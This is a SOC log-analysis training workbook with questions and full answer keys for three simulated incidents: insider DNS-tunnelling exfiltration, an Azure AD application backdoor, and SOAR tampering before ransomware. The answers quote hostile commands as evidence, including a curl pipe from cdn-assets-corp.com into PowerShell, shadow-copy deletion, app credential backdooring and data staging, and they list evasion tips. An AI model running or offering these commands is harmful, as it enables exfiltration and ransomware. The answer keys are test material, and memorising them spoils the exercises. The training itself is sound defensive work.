SECTION 12 — COMMUNICATION & REPORTING

38. Write a 3-sentence executive summary suitable for senior management.

39. Write a technical handover summary for the next SOC shift.

40. Should this incident trigger:

- HR investigation?
- Legal review?
- Regulatory notification?

FULL ANSWERS — SOC LOG ANALYSIS EXERCISE (SET 3)

SECTION 1 — INITIAL TRIAGE

1. Single event that must be investigated immediately

Answer:

NDR alert: DNS tunnelling detection on DB-PRD01

Evidence

- Sheet: ndr_alerts
- Alert ID: NDR-ANOM-DNS-TUNNEL
- Time: ~2025-12-03 10:07 +08
- Host: DB-PRD01.corp.local
- Source IP: 10.20.44.18
- Description:
High rate of long subdomain DNS queries to cdn-abc-data.com; elevated NXDOMAIN; possible DNS tunneling

Why this outranks everything

- DNS tunnelling = active data exfiltration
- Originates from a production database server
- High confidence, low false-positive class
- Indicates data leaving the organisation, not just suspicious behaviour

This is an incident trigger, not just investigation noise.

2. Three noisy but non-escalation events

Examples

1. Kerberos / NTLM success events (4624 / 4768)
 - Normal for DB servers and jump hosts
 - High volume ≠ malicious
2. Internal SQL traffic (sqlservr.exe to internal IPs)
 - Expected for DB replication / queries
 - Only suspicious when correlated with data export tooling
3. Scheduled task enumeration (schtasks.exe /Query)
 - Legit admin activity
 - Only becomes suspicious when paired with task creation

Key lesson:

Noise becomes signal only when chained.

3. First high-confidence malicious signal

Answer: DNS logs, not endpoint or auth logs.

Why:

- Auth logs show successful privileged access, not compromise
- Endpoint logs show tools that could be "admin work"
- DNS logs reveal covert channel behaviour impossible to justify operationally

4. Benign alone, malicious when correlated

Pair 1

- sqlcmd.exe on DB server → normal alone
- sqlcmd.exe exporting customer data + ZIP + Base64 → malicious

Pair 2

- Long DNS queries → sometimes benign
- Long DNS queries after Base64 staging → exfiltration

SECTION 2 — IDENTITY & INSIDER BEHAVIOUR

5. Primary user under investigation

Answer: CORP\fraud.ops

Evidence

- Privileged logons (Event ID 4672)
- Access via JUMP-ADM01 and BASTION-01
- Executes:
 - sqlcmd.exe
 - 7z.exe
 - powershell.exe
 - python.exe
- All actions aligned to data extraction and concealment

6. Insider vs compromised account

Answer: More likely malicious insider (or insider-assisted)

Reasons

- Correct tooling usage (sqlcmd, jump host, DB context)
- No brute force, no phishing artefacts
- Commands show intentional data selection
- Uses custom DNS tunnelling script

This is not smash-and-grab malware.

7. Privileged access evidence

Confirmed by

- Event ID 4672 – Special Privileges Assigned
- Successful logons to:
 - JUMP-ADM01
 - DB-PRD01
- Executing DB queries without role escalation attempts

This increases impact severity immediately.

8. Policy violations

Yes multiple

- Jump host used outside normal change window
- DB accessed by non-DB role (fraud.ops)
- Bastion access from public IPs
- No ticket/change reference in logs

This crosses from “admin activity” to abuse of trust.

SECTION 3 — ENDPOINT & COMMAND-LINE ANALYSIS

9. Database access utilities

Observed

- sqlcmd.exe ← key tool
- sqlservr.exe (normal service)

Abnormal usage

```
sqlcmd.exe -S DB-PRD01 -E  
-Q "SELECT * FROM Customers WHERE UpdatedAt >= DATEADD(day,-7,GETDATE())"  
-o C:\Temp\cust_delta.csv
```

This is manual data harvesting.

10. Why the SQL query is suspicious

- Targets customer table
- Time-bounded extraction (recent updates)
- Outputs to flat file
- No application context

This is data exfil preparation, not operations.

11. Evidence of data staging

Sequence on DB-PRD01

1. cust_delta.csv created
2. cust_delta.zip created (password-protected)
3. cust_delta.b64 created
4. dns_tunnel.py executed

Clear staging pipeline.

12. Compression / encryption utilities

- 7z.exe with password:
- 7z.exe a -tzip cust_delta.zip cust_delta.csv -p"Winter2025!"

Why this matters:

- Prevents inspection
- Evades DLP
- Enables covert transfer

SECTION 4 — DATA TRANSFORMATION

13. Evidence of encoding

```
powershell.exe -Command  
$d=Get-Content cust_delta.zip -Encoding Byte;  
$b=[Convert]::ToBase64String($d);
```

Set-Content cust_delta.b64 \$b

Purpose:

- Make binary data DNS-safe
- Fragment for tunnelling

14. Why Base64 is used

- DNS supports text
- Avoids binary corruption
- Easier chunking
- Common in covert channels

15. Artefacts abnormal for DB operations

- .b64 files
- dns_tunnel.py
- Password-protected ZIPs
- Scheduled task masquerading as Windows component

SECTION 5 — DNS ANALYSIS (CRITICAL)

16. Abnormal DNS queries

Domain: cdn-abc-data.com

Indicators

- Subdomain length: 35–55 characters
- Query type: TXT / A
- High volume
- Mostly NXDOMAIN

17. DNS tunnelling indicators

- Long, random subdomains
- High NXDOMAIN ratio
- High frequency from single host
- Coincides with data staging

18. Why NXDOMAIN matters

NXDOMAIN = server not resolving data
In tunnelling:

- Data is embedded in query
- Response is irrelevant
- Failure is expected

19. Host generating tunnel

Answer: DB-PRD01.corp.local

Evidence

- Source IP 10.20.44.18
- Appears in DNS + NDR + endpoint logs
- Hosts staging files

SECTION 6 — NETWORK & NDR

20. DNS → NDR correlation

Order

1. Base64 staging alert
2. DNS tunnelling alert
3. Outbound TLS to CDN-like IP

This confirms multi-channel exfiltration.

21. Individually low-risk, contextually high-risk traffic

- TLS to Cloudflare-like IP (104.21.77.201)
- Looks like CDN
- Occurs after DNS tunnel

This is fallback exfil.

22. Why CDN-like TLS is suspicious

- Domain newly observed
- No business justification
- Follows covert DNS activity
- Likely attacker-controlled infrastructure

23. Final exfiltration process

Answer: python.exe

Used to:

- Read Base64
- Chunk
- Send via DNS + TLS

SECTION 7 — TIMELINE

24. Full attack timeline (condensed)

1. fraud.ops logs into jump host
2. Accesses DB-PRD01
3. Runs SQL export
4. Compresses data
5. Base64 encodes
6. DNS tunnelling begins
7. TLS fallback exfil
8. Scheduled task created for persistence

25. True starting point

Answer: Privileged jump-host access by fraud.ops

Why missed:

- Looks legitimate
- No malware
- Correct credentials

26. Policy violation → incident boundary

Crossed when:

- Customer data exported
- Encoding + tunnelling begins

That is intentional data theft.

SECTION 8 — MITRE ATT&CK

27. Mapping

- T1078 – Valid Accounts
- T1074 – Data Staging

- T1027 – Obfuscated Information
- T1048.003 – Exfiltration via DNS
- T1567 – Exfiltration to Cloud
- T1053.005 – Scheduled Task
- T1071.004 – DNS

28. Highest business risk tactic

Exfiltration

Because:

- Regulatory breach
- Customer trust loss
- Legal consequences

29. Why harder than malware

- No exploit
- No AV trigger
- Uses admin tools
- Blends with normal ops

SECTION 9 — SOC DECISIONS

30. Escalation points

- L1 → L2: SQL export + ZIP
- Incident: DNS tunnelling alert

31. Immediate containment

Identity

- Disable fraud.ops
- Revoke privileged roles

Endpoint

- Isolate DB-PRD01

Database

- Revoke access

- Snapshot DB

Network

- Block domain
- Sinkhole DNS

32. Actions NOT to take

- Do not delete files
- Do not reboot
- Do not confront user directly

Preserve evidence first.

SECTION 10 — FORENSICS

33. Evidence to preserve

1. SQL logs
2. Exported files
3. DNS logs
4. Python scripts
5. Scheduled task XML
6. Jump host session logs

34. Logs at risk

- Temp directories
- DNS resolver logs
- PowerShell history

SECTION 11 — ROOT CAUSE

35. First failed control

Segregation of duties + privileged monitoring

fraud.ops should not:

- Access raw DB
- Export customer tables

36. Best detection rule

Alert on:

- SQL export + ZIP + Base64 + DNS anomalies
- Privileged user outside role scope

37. Attacker improvement

- Throttle DNS
- Use DoH
- Use backup jobs
- Time-delay exfil

SECTION 12 — REPORTING

38. Executive summary

On 3 December 2025, a privileged internal user abused authorised access to extract sensitive customer data from a production database. The data was staged, encoded and exfiltrated using covert DNS tunnelling and disguised outbound encrypted traffic. This incident represents a high-impact insider threat requiring immediate containment, forensic investigation and regulatory assessment.

39. Technical handover

fraud.ops accessed DB-PRD01 via jump host and executed SQL exports targeting customer records. Data was staged using ZIP and Base64 encoding, then exfiltrated via DNS tunnelling to cdn-abc-data.com with fallback outbound TLS. Scheduled task persistence was created; host isolation and identity revocation are required.

40. Notification decision

Yes

- HR investigation
- Legal review
- Regulatory notification (customer data involved)

EXERCISE SET 4

	A	B	C	D	E	F	G	
1	time	userPrincipalName	appDisplayName	clientAppUsage	ipAddress	location	result	
2	2025-12-12T	vendor.remote	Legacy IMAF	ModernAuth	185.231.154.	US-VA	Failure	F
3	2025-12-12T	it.support@corp	Exchange Online	Browser	178.21.223.1	US-VA	Success	S
4	2025-12-12T	svc-app-prod	Microsoft Office	MobileApps	10.30.63.208	MY-Selangor	Failure	S
5	2025-12-12T	finance.user@corp	Azure Portal	MobileApps	54.36.62.144	US-VA	Success	F
6	2025-12-12T	svc-ci-cd@corp	Device Code	Browser	99.136.13.21	DE	Success	M
7	2025-12-12T	cloud.admin@corp	Azure CLI	AzureCLI	104.243.41.7	DE	Success	F
8	2025-12-12T	svc-ci-cd@corp	Microsoft Graph	ModernAuth	152.7.177.12	US-VA	Success	M
9	2025-12-12T	vendor.remote	Microsoft Office	MobileApps	14.132.148.9	NL	Success	S
10	2025-12-12T	it.support@corp	Custom-App	Exchange ActiveSync	10.30.187.20	SG	Success	S
11	2025-12-12T	it.support@corp	Microsoft Office	Exchange ActiveSync	10.30.12.68	US-VA	Success	M
12	2025-12-12T	it.support@corp	Microsoft Graph	Browser	172.19.95.7	SG	Success	M
13	2025-12-12T	vendor.remote	Exchange Online	AzureCLI	185.231.154.	US-VA	Failure	F
14	2025-12-12T	svc-ci-cd@corp	Microsoft Graph	MobileApps	60.129.160.1	US-VA	Success	S

SOC LOG ANALYSIS EXERCISE — SET 4

Log Sources

- azuread_signin
- o365_audit
- edr_process_create
- edr_network
- edr_file_create
- firewall_proxy
- ndr_alerts

SECTION 1 — INITIAL TRIAGE (SIGNAL VS NOISE)

1. You are the L1 analyst receiving this case from SIEM.
Which single event should immediately trigger escalation to L2?
 - Sheet name
 - Timestamp
 - Entity (user / app / host)
 - Why this signal is high confidence malicious
2. Identify three high-volume cloud events that are not malicious by themselves.
 - Why do SOC teams often misclassify them?
 - What context makes them safe?
3. Which log source provides the earliest strong indication of compromise?
 - Why is it stronger than the others at that point?

SECTION 2 — IDENTITY & SIGN-IN ABUSE

4. Identify the compromised identity.
 - Evidence across Azure AD sign-in + endpoint + audit logs
5. What indicators suggest device-code phishing / MFA fatigue instead of password theft?
 - Be specific.
6. Identify any impossible travel or risky sign-in patterns.
 - Provide timestamps and locations.
7. Why would this attack successfully bypass Conditional Access in many organisations?

SECTION 3 — CLOUD CONTROL-PLANE ABUSE

8. Identify evidence of Azure AD application backdooring.
 - What was changed?
 - Why is this persistence stronger than a user account?
9. Which OAuth permissions represent the highest data-exposure risk?
 - Why?
10. Identify role escalation or privilege abuse.
 - Which identity was elevated?
 - Why is this critical?

SECTION 4 — SERVICE PRINCIPAL & GRAPH ABUSE

11. Identify evidence of service principal abuse.
 - Which app or identity performed the actions?
12. What log entries prove non-interactive Graph API access?
 - Why does this matter?
13. Why is Graph mass download more dangerous than mailbox access alone?

SECTION 5 — ENDPOINT & TOOLING CORRELATION

14. Identify endpoint tools used to support the cloud attack.
 - Why does endpoint telemetry still matter in a cloud breach?
15. Which command-line activities are high risk even though they use legitimate tools?
16. Identify file artefacts that indicate long-term cloud persistence.
 - Why are these artefacts dangerous?

SECTION 6 — NETWORK, PROXY & C2 ANALYSIS

17. Identify non-Microsoft external infrastructure used by the attacker.
 - Domains
 - IPs

18. Why does TLS traffic to a CDN-looking domain raise concern here?
19. Identify evidence of beacon-like or staged communication.
- Which logs support this?

SECTION 7 — ATTACK TIMELINE RECONSTRUCTION

20. Reconstruct the full end-to-end attack timeline, including:
- Initial access
 - Privilege abuse
 - Persistence
 - Data access
 - Exfiltration / C2
21. Identify the true initial access point.
- Why is it commonly misdiagnosed?
22. At what point did the incident become high-impact from a business perspective?

SECTION 8 — ATTACK CLASSIFICATION & FRAMEWORKS

23. Map this incident to MITRE ATT&CK techniques (minimum 7).
- Include technique IDs.
24. Why is this attack more dangerous than traditional malware-based intrusions?
25. Which phase represents the largest blast radius?

SECTION 9 — SOC DECISION-MAKING

26. When should the case be:
- Escalated from L1 to L2
 - Declared a confirmed incident
 - Trigger executive notification
27. What immediate containment actions must be taken?
- Identity
 - Azure AD
 - Application registrations
 - Endpoint
 - Network
28. What actions would make the situation worse if done too early?
- Why?

SECTION 10 — FORENSICS & EVIDENCE

29. What evidence must be preserved immediately?
- List at least 6 artefacts.
30. Which evidence is most volatile in this scenario?

SECTION 11 — ROOT CAUSE & HARDENING

31. What control failed first?
 - Identity protection
 - Cloud governance
 - Monitoring
 - Privileged access management
32. What single detection rule would have detected this earlier?
33. How could an attacker improve this attack next time?

SECTION 12 — COMMUNICATION & REPORTING

34. Write a 3-sentence executive summary suitable for board-level reporting.
35. Write a technical handover summary for the next SOC shift.
36. Should this incident trigger:
 - Regulatory notification?
 - Cloud security architecture review?
 - App registration audit?

FULL ANSWERS — SOC LOG ANALYSIS EXERCISE (SET 4)

SECTION 1 — INITIAL TRIAGE

1. Single event that should trigger immediate escalation

Answer:

NDR alert: Azure AD application backdoor detected

Evidence

- Sheet: ndr_alerts
- Alert ID: NDR-AZ-APP-BACKDOOR
- Time: ~2025-12-12 08:52 +08
- Entity: AzureAD / cloud.admin@corp.local
- Description:
Application Custom-App-Prod modified: new certificate credential + OAuth permissions granted

Why this is highest confidence

- App registration backdooring is deliberate persistence
- Bypasses user password resets and MFA
- Enables non-interactive access
- Very low false-positive rate in production tenants

This is not suspicious behaviour it is compromise confirmation.

2. Three noisy but benign cloud events

Examples

1. Regular Microsoft Graph access from Microsoft IPs
 - Normal for Office, Teams, OneDrive
2. Azure Portal sign-ins by admins from local IPs
 - Expected admin behaviour
3. SharePoint file downloads by users
 - Normal unless volume, actor or method is abnormal

Why SOCs misclassify

- Cloud logs are noisy
- Analysts focus on volume instead of who + how + scope

3. Earliest strong indication of compromise

Answer: Azure AD sign-in logs

Why

- Shows risky sign-in patterns before app backdooring
- Endpoint and network logs appear later
- Audit logs only show what changed, not how access was gained

SECTION 2 — IDENTITY & SIGN-IN ABUSE

4. Compromised identity

Answer: cloud.admin@corp.local

Evidence

- Azure CLI and Device Code sign-ins
- Foreign IPs (NL, DE, US-VA)
- MFA marked as Satisfied or Interrupted
- Subsequent privileged control-plane actions

5. Indicators of device-code phishing / MFA fatigue

Key indicators

- Device Code and Azure CLI as client apps
- MFA marked Satisfied without interactive browser
- Success from external IPs shortly after MFA prompts
- No password failures preceding access

This is token-based compromise, not credential stuffing.

6. Impossible travel / risky sign-ins

Example

- Location change: MY-KL → NL within ~25 minutes
- User: cloud.admin
- Risk level: medium / high
- Conditional access: Pass / ReportOnly

This is physically impossible and indicates token misuse.

7. Why Conditional Access failed

Reasons

- Device-code flow often bypasses location/device controls
- Token reuse bypasses MFA enforcement
- Report-only policies do not block
- Admin accounts often over-permissioned

SECTION 3 — CLOUD CONTROL-PLANE ABUSE

8. Evidence of application backdooring

From o365_audit

- Update application
- Add service principal credentials
- Add delegated permission grant

Details

- Certificate credential added
- Long-lived client secret created
- Redirect URI pointing to attacker domain

This creates persistent, stealthy access.

9. Highest-risk OAuth permissions

Critical permissions

- Files.Read.All
- Mail.Read
- User.Read.All

Why

- Grants tenant-wide data access
- No user interaction required
- Works indefinitely once consented

10. Role escalation / privilege abuse

Evidence

- Add member to role
- Target: role:Global Administrator
- Added: svc-app-prod@corp.local

Why critical

- Converts app into tenant-level admin
- Enables disabling security controls
- Enables silent long-term compromise

SECTION 4 — SERVICE PRINCIPAL & GRAPH ABUSE

11. Evidence of service principal abuse

Identity

- svc-app-prod@corp.local

Evidence

- Graph mass download events
- No interactive sign-ins
- Activity tied to app permissions, not user

12. Proof of non-interactive Graph access

Evidence

- /v1.0/sites
- /v1.0/users
- /oauth2/token
- Executed via az.exe, python.exe, powershell.exe

This confirms API-driven abuse.

13. Why Graph mass download is more dangerous

Because it:

- Accesses entire SharePoint sites
- Bypasses mailbox-focused monitoring
- Enables bulk data theft quickly
- Often invisible to endpoint DLP

SECTION 5 — ENDPOINT & TOOLING

14. Endpoint tools involved

Observed

- az.exe
- python.exe
- curl.exe
- powershell.exe

Why endpoints matter

- Cloud compromise still requires tooling
- Endpoint logs reveal how access was operationalised

15. High-risk command lines

Examples:

```
az ad app credential reset --append --cert @backdoor.cer  
Connect-MgGraph -Scopes Files.Read.All,Mail.Read,User.Read.All  
curl https://cdn-assets-corp.com/bootstrap.ps1 | powershell
```

All indicate deliberate abuse, not admin work.

16. File artefacts indicating persistence

- backdoor.cer
- backdoor.pfx
- req.json
- graph_dump.py
- sp_dump.zip

These represent long-lived cloud access.

SECTION 6 — NETWORK, PROXY & C2

17. Attacker infrastructure

Domains

- cdn-assets-corp.com

IPs

- 104.21.90.101
- 172.67.148.220

Not Microsoft-owned.

18. Why CDN-like TLS is suspicious

- New domain
- Accessed by admin tooling
- Used after control-plane compromise
- Mimics normal CDN traffic to evade detection

19. Beacon / staged communication evidence

Logs

- Firewall proxy: repeated small transfers
- EDR network: consistent URI patterns
- NDR alert: NDR-C2-CDN-ASSETS

Indicates C2 heartbeat, not browsing.

SECTION 7 — ATTACK TIMELINE

20. Full end-to-end timeline

1. Device-code phishing compromises cloud.admin
2. Azure CLI login from foreign IP
3. Application Custom-App-Prod modified
4. Certificate credential added
5. OAuth permissions expanded
6. Service principal elevated to Global Admin
7. Graph API mass downloads begin
8. C2/exfil via cdn-assets-corp.com
9. Persistence established independent of user

21. True initial access

Answer: Device-code / token abuse of cloud.admin

Why misdiagnosed

- No malware
- MFA “succeeded”
- No password theft

22. When business impact became high

At Graph mass download phase

- HR + FIN SharePoint data accessed
- Potential regulatory exposure
- Large blast radius

SECTION 8 — MITRE ATT&CK

23. MITRE mapping

- T1078 – Valid Accounts
- T1528 – Steal Application Access Token
- T1098 – Account Manipulation
- T1136.003 – Cloud Account
- T1068 – Privilege Escalation (Cloud)
- T1567 – Exfiltration to Cloud Storage
- T1071.001 – Web Protocols

24. Why more dangerous than malware

- No exploit required
- No endpoint payload
- Lives entirely in identity plane
- Survives endpoint rebuilds

25. Largest blast radius phase

Service principal backdoor

- Tenant-wide
- Invisible to user-centric monitoring
- Long-lived

SECTION 9 — SOC DECISIONS

26. Escalation points

- L1 → L2: Risky cloud.admin sign-in

- Incident: App credential added
- Executive: Graph mass download + role escalation

27. Immediate containment actions

Identity

- Disable cloud.admin
- Revoke all refresh tokens

Azure AD

- Remove backdoor credentials
- Remove app permissions
- Remove svc-app-prod from admin roles

Applications

- Audit all app registrations
- Rotate secrets

Endpoint

- Isolate JUMP-CLOUD01 & LAPTOP-ADM01

Network

- Block cdn-assets-corp.com

28. Actions that make it worse

- Deleting the app immediately (lose evidence)
- Rotating passwords only (tokens remain)
- Rebooting endpoints before forensic capture

SECTION 10 — FORENSICS

29. Evidence to preserve

1. Azure AD sign-in logs
2. Unified Audit Logs
3. App registration history
4. Service principal secrets/certs metadata
5. Graph access logs

- 6. Firewall proxy logs
- 7. Endpoint temp files

30. Most volatile evidence

- OAuth tokens
- Temporary cert/key metadata
- Endpoint temp scripts

SECTION 11 — ROOT CAUSE & HARDENING

31. First failed control

Cloud Identity governance

- Excessive admin privilege
- Poor app registration oversight
- Weak device-code restrictions

32. Best early detection rule

Alert on

- App credential addition + broad Graph permissions
- Performed by human admin account
- From non-corporate IP

33. Attacker improvements

- Use existing trusted apps
- Throttle Graph access
- Use DoH
- Delay persistence actions

SECTION 12 — REPORTING

34. Executive summary

On 12 December 2025, a cloud administrator account was compromised through token-based authentication, allowing attackers to modify Azure AD application settings and establish long-lived persistence using backdoor credentials. The attacker abused a service principal to perform large-scale data access via Microsoft Graph and communicated externally through infrastructure disguised as legitimate CDN traffic. Immediate

remediation is required due to the high risk of tenant-wide data exposure and ongoing unauthorized access.

35. Technical handover summary

cloud.admin was compromised via device-code authentication from foreign IPs. The attacker backdoored the Custom-App-Prod application by adding certificate credentials and broad Graph permissions, then elevated svc-app-prod to Global Administrator. Graph API was used for mass SharePoint HR/FIN downloads and C2/exfiltration occurred via cdn-assets-corp.com. Revoke tokens, remove app credentials, audit app registrations and block external infrastructure.

36. Notification decision

Yes

- Regulatory notification (PII exposure risk)
- Cloud architecture review
- Full app registration audit

EXERCISE SET 5

	A	B	C	D	E	F	G	
1	time	actor	source_ip	auth_type	action	object_type	object_name	
2	2025-12-20T	svc-soar@co	10.40.141.12	APIKey	UserLogout	Connector	IAM-Connec	F
3	2025-12-20T	sec.eng@cor	192.168.36.7	SSO	WebhookCre	Notification	Notify-OnCal	S
4	2025-12-20T	sec.eng@cor	72.163.125.3	APIKey	PlaybookDis	Webhook	whk-siem-pu	F
5	2025-12-20T	soc.lead@co	172.23.139.8	APIKey	PlaybookExe	Webhook	whk-edr-pus	S
6	2025-12-20T	svc-soar@co	91.214.88.23	APIKey	IncidentClos	Incident	INC-21207	S
7	2025-12-20T	analyst.l2@co	172.30.242.2	APIKey	NotificationR	User	analyst.l2@co	S
8	2025-12-20T	analyst.l1@co	172.27.56.17	ServiceAcco	RuleUpdated	Playbook	PB-PrivEsc-1	S
9	2025-12-20T	analyst.l2@co	187.247.17.1	ServiceAcco	PlaybookEna	Notification	Notify-OnCal	S
10	2025-12-20T	sec.eng@cor	192.168.246.	APIKey	PlaybookExe	APIKey	l2-key	S
11	2025-12-20T	svc-soar@co	160.88.181.2	APIKey	WebhookCre	APIKey	integration-k	S
12	2025-12-20T	svc-soar@co	10.40.6.59	SSO	UserLogin	Rule	Suppress-Fa	S
13	2025-12-20T	analyst.l2@co	19.33.5.147	Password	WebhookCre	Webhook	whk-siem-pu	S
14	2025-12-20T	analyst.l2@co	10.40.107.20	SSO	RuleUpdated	Rule	Suppress-Ra	S

SOC LOG ANALYSIS EXERCISE — SET 5

Log Sources

- soar_audit
- siem_alerts
- ticketing
- iam_changes
- edr_process_create
- edr_network
- email_gateway
- ndr_alerts

SECTION 1 — INITIAL TRIAGE & SITUATIONAL AWARENESS

1. You are the L1 analyst on duty.
Which single anomaly in the environment most strongly indicates that the SOC itself is under attack?
 - Sheet name
 - Timestamp
 - Actor
 - Why this is not a normal operational change
2. Identify three warning signs that should immediately raise concern about SOC tooling integrity, not endpoint compromise.
3. Why is this incident more dangerous than a normal malware or ransomware alert?

SECTION 2 — SOAR PLATFORM ABUSE

4. Identify evidence that the SOAR platform has been compromised.
 - Which identity is involved?
 - Which authentication method is abused?
5. What actions performed in the soar_audit logs cannot be explained by routine SOC operations?
6. Identify all security controls that were tampered with:
 - Playbooks
 - Suppression rules
 - Notification routing
 - Connectors or webhooks
7. Why is disabling playbooks more impactful than disabling detection rules alone?

SECTION 3 — ALERT SUPPRESSION & VISIBILITY LOSS

8. Identify critical or high-severity SIEM alerts that were:
 - Automatically closed
 - Suppressed by SOAR rules
9. What suppression patterns indicate malicious intent rather than noise reduction?
10. Why is suppressing alerts like:
 - “VSSAdmin Delete Shadows”
 - “Mass File Rename Activity”

considered a red-flag indicator of ransomware preparation?

SECTION 4 — TICKETING & INCIDENT WORKFLOW MANIPULATION

11. Identify evidence that incident tickets were manipulated.
 - Who performed the actions?
 - What actions were taken?
12. Why is auto-closing tickets more dangerous than suppressing alerts alone?
13. How would this behaviour impact:
 - SLA compliance
 - Management reporting
 - Incident response readiness?

SECTION 5 — IDENTITY & IAM ABUSE

14. Identify suspicious IAM changes involving SOAR service accounts.
 - Which operations stand out?
 - From where were they performed?
15. Why is svc-soar modifying its own privileges extremely dangerous?
16. What IAM control failure does this indicate?

SECTION 6 — ENDPOINT & RANSOMWARE ACTIVITY

17. Identify ransomware preparation activity on endpoints or servers.

- Hosts
- Commands
- Tools used

18. Why are commands like:

- vssadmin delete shadows
- wmic shadowcopy delete

strong indicators of imminent ransomware execution?

19. Identify evidence of lateral movement.

- Which protocol?
- Which tool?

SECTION 7 — NETWORK & C2 CORRELATION

20. Identify external attacker infrastructure used in this incident.

- Domains
- IP addresses

21. Why is outbound communication from the SOAR core server especially alarming?

22. What evidence suggests command-and-control (C2) activity rather than normal HTTPS traffic?

SECTION 8 — EMAIL & INITIAL ACCESS

23. Identify evidence of phishing or social engineering related to SOAR access.

- Who was targeted?
- What was the lure?

24. How could this email activity lead to API key or token compromise?

SECTION 9 — TIMELINE RECONSTRUCTION

25. Reconstruct the full attack timeline, including:

- Initial access
- SOAR compromise
- Visibility suppression
- Ransomware staging
- Impact

26. Identify the true initial access vector.

- Why might it be overlooked?

27. At what point did the SOC lose effective visibility?

SECTION 10 — SOC DECISION-MAKING & RESPONSE

28. When should this incident have been:
- Escalated from L1 to L2?
 - Declared a confirmed incident?
 - Escalated to management?
29. What immediate containment actions must be taken?
- SOAR platform
 - SIEM
 - IAM
 - Endpoints
 - Network
30. What actions must NOT be taken immediately and why?

SECTION 11 — ROOT CAUSE & CONTROL FAILURES

31. What was the first control that failed in this incident?
32. Which SOC design assumption was proven wrong?
33. What single detection use case could have detected this attack earlier?

SECTION 12 — IMPACT & REPORTING

34. Write a 3-sentence executive summary explaining why the SOC failed to stop this attack.
35. Write a technical handover summary for the incoming SOC shift.
36. Should this incident trigger:
- External IR support?
 - Audit review?
 - SOC architecture redesign?

FULL ANSWERS — SOC LOG ANALYSIS EXERCISE (SET 9)

SECTION 1 — INITIAL TRIAGE & SITUATIONAL AWARENESS

1. Single anomaly proving the SOC is under attack

Answer:

SOAR admin actions performed by svc-soar from external IPs using API keys

Evidence

- Sheet: soar_audit
- Actor: svc-soar@corp.local
- Auth Type: APIKey
- Source IPs:
 - 185.231.154.41
 - 45.61.136.90
 - 91.214.88.23
- Actions:
 - PlaybookDisabled
 - RuleCreated
 - NotificationRouteUpdated
 - IncidentClosed
 - ConnectorAuthUpdated

Why this is critical

- Service accounts must never authenticate from the internet
- SOAR admin API usage from foreign IPs is never normal
- This indicates control-plane compromise, not endpoint malware

This is a Category 1 SOC breach, not a routine alert.

2. Three signs SOC tooling integrity is compromised

1. High/Critical alerts auto-closed without analyst review
2. Containment playbooks disabled during active incidents
3. On-call notifications silently rerouted to archive mailboxes

These are defensive control manipulations, not detection failures.

3. Why this incident is more dangerous than normal ransomware

Because:

- Detection exists but is intentionally neutralised
- Analysts are blinded
- SLAs, escalations and audits are bypassed
- Attack proceeds unopposed

This is SOC subversion, not just intrusion.

SECTION 2 — SOAR PLATFORM ABUSE

4. Proof the SOAR platform is compromised

Identity: svc-soar@corp.local

Auth method: APIKey

Evidence

- APIKeyUsed events from public IPs
- Admin endpoints accessed (/api/v2/admin/*)
- Actions normally restricted to SOC Leads

5. Non-routine SOAR actions

Abnormal actions include:

- Disabling PB-Ransomware-Response
- Suppressing alerts matching ransom, encrypt, vssadmin
- Auto-closing incidents with severity High/Critical
- Changing notification routes during business hours

No legitimate SOC workflow justifies this combination.

6. Security controls tampered with

Playbooks

- Ransomware response
- Host containment
- User disablement

Rules

- Suppression of ransomware IOCs
- Suppression of encoded PowerShell
- Auto-close policies expanded

Notifications

- PagerDuty removed
- On-call emails rerouted to archive

Connectors/Webhooks

- Tokens rotated (attacker persistence)
- New outbound webhooks created

7. Why disabling playbooks is worse than rule suppression

Because:

- Alerts may still appear, but no response occurs
- EDR containment never executes
- Accounts are not disabled
- Ransomware proceeds uninterrupted

This turns the SOC into a passive observer.

SECTION 3 — ALERT SUPPRESSION & VISIBILITY LOSS

8. Critical alerts suppressed

Examples from siem_alerts:

- VSSAdmin Delete Shadows
- Mass File Rename Activity
- Archive Creation - 7z
- SMB Lateral Movement

Status: Closed

Suppression Tags:

- SOAR_RULE:Suppress-Ransomware-IOC
- SOAR_RULE:Suppress-EDR-Containment

9. Suppression patterns proving malicious intent

- Suppression targets impact-stage alerts
- Scope set to ALL hosts
- Conditions reference ransomware keywords
- Applied suddenly and broadly

Noise reduction is narrow and conservative this is not.

10. Why these suppressed alerts are ransomware indicators

- VSSAdmin deletion = destroy backups
- Mass rename = encryption in progress
- Archive creation = data staging
- SMB movement = lateral spread

Suppressing these = intentional blindfolding.

SECTION 4 — TICKETING & WORKFLOW MANIPULATION

11. Evidence tickets were manipulated

Sheet: ticketing

Actor: svc-soar@corp.local

Actions

- Auto-closing tickets
- Removing escalation tags
- Reassigning to archive queues
- Adding misleading comments ("False Positive")

12. Why ticket auto-closure is more dangerous than alert suppression

Because:

- It falsifies audit trails
- SLA breaches are hidden
- Management dashboards remain "green"
- Incident accountability disappears

13. Operational impact

- SLAs falsely appear compliant
- SOC KPIs become meaningless
- Management believes SOC is functioning
- IR readiness collapses

SECTION 5 — IDENTITY & IAM ABUSE

14. Suspicious IAM changes

Sheet: iam_changes

Evidence

- svc-soar:
 - Adds itself to SOAR-Admins
 - Grants SOAR Platform Administrator role
 - Creates new API credentials
- Source IPs are external

15. Why self-modifying privileges is critical

Because:

- No separation of duties
- Enables permanent compromise
- Bypasses human oversight
- Allows full SOC control takeover

16. IAM control failure

Lack of:

- Privileged access governance
- Just-in-time elevation
- Service account IP restrictions
- Change approval workflows

SECTION 6 — ENDPOINT & RANSOMWARE ACTIVITY

17. Ransomware preparation evidence

Host: FILESVR-05.corp.local

User: CORP\it.support

Commands

```
vssadmin delete shadows /all /quiet  
wmic shadowcopy delete  
7z.exe a finance_backup.zip  
cmdexec \WWS-FIN04
```

18. Why VSS deletion is a red flag

Because it:

- Prevents recovery
- Precedes encryption
- Has no legitimate daily use

19. Lateral movement

- Protocol: SMB (445)
- Tool: PsExec
- Direction: FILESVR → workstations

SECTION 7 — NETWORK & C2

20. Attacker infrastructure

Domains

- cdn-status-corp.com
- cdn-assets-corp.com

IPs

- 104.21.90.101
- 172.67.148.220
- 104.21.77.201

21. Why SOAR outbound traffic is alarming

SOAR should:

- Talk internally
- Pull alerts, push tickets

It should never beacon externally.

22. C2 indicators

- Repeated small HTTPS requests
- Consistent URI patterns
- Non-business domains
- Coincides with admin actions

SECTION 8 — EMAIL & INITIAL ACCESS

23. Phishing evidence

Sheet: email_gateway

Targeted

- sec.eng
- soc.lead

Lure

- “SOAR Connector Token Expired”
- Fake maintenance urgency
- Links to attacker-controlled domain

24. How email led to API key compromise

- Analyst clicks link
- Enters token / session data
- Attacker reuses API key externally
